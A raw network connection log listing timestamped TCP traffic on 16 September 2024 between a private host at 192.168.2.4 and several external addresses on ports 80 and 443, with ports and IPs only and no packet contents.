Sep 16, 2024 19:32:48.671658039 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.960299969 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.960365057 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:48.960489035 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.961050034 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:48.961066961 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.148963928 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.149099112 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.149892092 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.149996996 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.151001930 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.151040077 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.151463032 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.152482986 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.152514935 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.152877092 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.153561115 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.154916048 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.160404921 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.160506964 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.161587954 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.161597013 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.162398100 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.163273096 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.195447922 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.195533037 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.195555925 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.199426889 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.199546099 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.199558973 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.207398891 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.210354090 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.210391045 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.338562012 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.338830948 CEST	443	49743	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.338920116 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.346576929 CEST	49743	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.352547884 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.352854967 CEST	443	49744	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.352946043 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.353250027 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.353615046 CEST	443	49742	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.353697062 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.354748964 CEST	49744	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.356256962 CEST	49742	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.420545101 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.420747042 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.422804117 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.422823906 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.423326015 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.424210072 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.467456102 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.467581987 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.467597008 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.611814976 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.612118959 CEST	443	49745	162.159.128.233	192.168.2.4
Sep 16, 2024 19:32:49.612188101 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:49.614711046 CEST	49745	443	192.168.2.4	162.159.128.233
Sep 16, 2024 19:32:55.987988949 CEST	49732	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:55.992119074 CEST	49736	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:56.018604040 CEST	49730	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:56.048086882 CEST	49731	80	192.168.2.4	104.17.112.233
Sep 16, 2024 19:32:57.495867968 CEST	49752	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.500935078 CEST	80	49752	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.501060963 CEST	49752	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.513159990 CEST	49752	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.518045902 CEST	80	49752	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.620970964 CEST	49753	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.626038074 CEST	80	49753	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.626378059 CEST	49753	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.647278070 CEST	49753	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.652126074 CEST	80	49753	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.745074987 CEST	49754	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.750293016 CEST	80	49754	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.750616074 CEST	49754	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.752475023 CEST	49754	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.757998943 CEST	80	49754	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.766942024 CEST	49755	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.771914005 CEST	80	49755	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.772346020 CEST	49755	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.789715052 CEST	49755	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.795020103 CEST	80	49755	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.871562004 CEST	49756	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.878030062 CEST	80	49756	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.878159046 CEST	49756	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.885004044 CEST	49756	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.889945984 CEST	80	49756	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.945385933 CEST	80	49752	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.945574045 CEST	80	49752	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.945811987 CEST	49752	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.948129892 CEST	49752	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.952999115 CEST	80	49752	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.968400955 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.968467951 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.968597889 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.972150087 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.972181082 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.975342035 CEST	49758	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.980391026 CEST	80	49758	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:57.980508089 CEST	49758	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.982522964 CEST	49758	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:57.987351894 CEST	80	49758	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.006424904 CEST	49759	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.012132883 CEST	49760	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.012305021 CEST	80	49759	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.012394905 CEST	49759	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.013703108 CEST	49759	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.017100096 CEST	80	49760	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.017229080 CEST	49760	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.018635035 CEST	80	49759	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.019078016 CEST	49760	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.024175882 CEST	80	49760	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.070739031 CEST	80	49753	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.070864916 CEST	80	49753	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.071078062 CEST	49753	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.075253010 CEST	49753	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.077472925 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.077521086 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.077605009 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.080282927 CEST	80	49753	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.080976009 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.081005096 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.195060968 CEST	80	49754	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.195264101 CEST	80	49754	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.195328951 CEST	49754	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.195708036 CEST	49754	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.197113037 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.197160959 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.197480917 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.199784040 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.199810028 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.200792074 CEST	80	49754	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.218137026 CEST	80	49755	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.218170881 CEST	80	49755	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.218296051 CEST	49755	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.218616962 CEST	49755	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.220339060 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.220422983 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.220518112 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.223120928 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.223197937 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.223442078 CEST	80	49755	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.361782074 CEST	80	49756	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.361836910 CEST	80	49756	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.361963034 CEST	49756	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.362306118 CEST	49756	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.363888979 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.363972902 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.364075899 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.366245031 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.366291046 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.367165089 CEST	80	49756	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.543245077 CEST	80	49760	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.543432951 CEST	80	49760	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.543483019 CEST	49760	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.544009924 CEST	49760	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.545357943 CEST	80	49758	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.545687914 CEST	80	49758	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.545742035 CEST	49758	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.546060085 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.546091080 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.546269894 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.546288967 CEST	49758	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.546597004 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.546699047 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.547925949 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.547935009 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.547987938 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.548783064 CEST	80	49760	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.550234079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.550234079 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.550246954 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.550260067 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.551064014 CEST	80	49758	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.551925898 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.551942110 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.552292109 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.561971903 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.568289995 CEST	80	49759	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.568711042 CEST	49759	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.568793058 CEST	80	49759	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.568898916 CEST	49759	80	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.570194006 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.570291996 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.570365906 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.572515011 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.572551012 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.573613882 CEST	80	49759	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.607395887 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.638813019 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.638947964 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.640201092 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.640213966 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.640990019 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.648971081 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.695403099 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.714586973 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.714781046 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.714832067 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.714853048 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.714977026 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.715025902 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.715039015 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.719276905 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.719337940 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.719355106 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.723465919 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.723587990 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.723917961 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.724000931 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.724061012 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.724076033 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.724129915 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.729074955 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.729087114 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.729439974 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.732429028 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.732634068 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.732703924 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.732719898 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.738643885 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.746975899 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747189999 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747243881 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.747258902 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747369051 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747507095 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747555971 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.747569084 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747612953 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.747628927 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747807980 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747858047 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.747869968 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.747981071 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.748032093 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.748044014 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.760282040 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.760373116 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.762027025 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.762059927 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.762491941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.762569904 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.762629986 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.762645006 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.771089077 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.783451080 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.805170059 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.805227041 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.805241108 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.805354118 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.805407047 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.805418968 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806020021 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806063890 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.806075096 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806195974 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806243896 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.806255102 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806889057 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.806941032 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.806952953 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.807063103 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.807116985 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.807126999 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.809794903 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.809845924 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.809858084 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.809992075 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.810081959 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.810129881 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.810142994 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.810194969 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.811446905 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.814424992 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.814599037 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.814650059 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.814662933 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.820609093 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.820656061 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.820667028 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.820777893 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.820859909 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.820872068 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.836900949 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.836958885 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.836968899 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.836990118 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.837028027 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.837032080 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.837032080 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839086056 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839109898 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839132071 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839150906 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839163065 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839190960 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839215994 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839224100 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839272976 CEST	49761	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839274883 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839284897 CEST	443	49761	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839308977 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839320898 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839371920 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839413881 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839421034 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839432955 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839471102 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839492083 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839613914 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839624882 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839679003 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.839724064 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.839735985 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.851382017 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.851495028 CEST	49762	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.851509094 CEST	443	49762	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.874356985 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.874491930 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.876301050 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.876319885 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.876665115 CEST	443	49764	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.885747910 CEST	49764	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.897222996 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.897283077 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.897300959 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.897332907 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.897370100 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.897382975 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.897408009 CEST	49757	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:32:58.898936987 CEST	443	49757	185.199.110.133	192.168.2.4
Sep 16, 2024 19:32:58.898977995 CEST	443	49757	185.199.110.133	192.168.2.4
